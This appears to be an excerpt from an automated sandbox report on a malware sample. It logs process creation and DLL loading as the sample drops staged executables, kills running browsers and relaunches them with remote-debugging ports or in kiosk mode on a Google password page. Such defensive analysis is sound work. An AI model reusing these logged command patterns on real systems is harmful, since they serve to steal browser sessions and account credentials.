Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDHCGDAFBK.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2212,i,7478136807645750746,17014002527103240084,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2312,i,5981494348251301959,4375700475387197058,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2784 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6512 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6996 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7252 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7288 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIDHCGDAFBK.exe "C:\Users\user\DocumentsIDHCGDAFBK.exe"
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe "C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe "C:\Users\user\AppData\Local\Temp\1008303001\lll.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe "C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe "C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe "C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe"
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2100 -prefMapHandle 2080 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f4bb5573-6e71-4f9d-8f1c-90fb1917cb05} 8356 "\\.\pipe\gecko-crash-server-pipe.8356" 214ed06f110 socket

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: ondemandconnroutehelper.dll
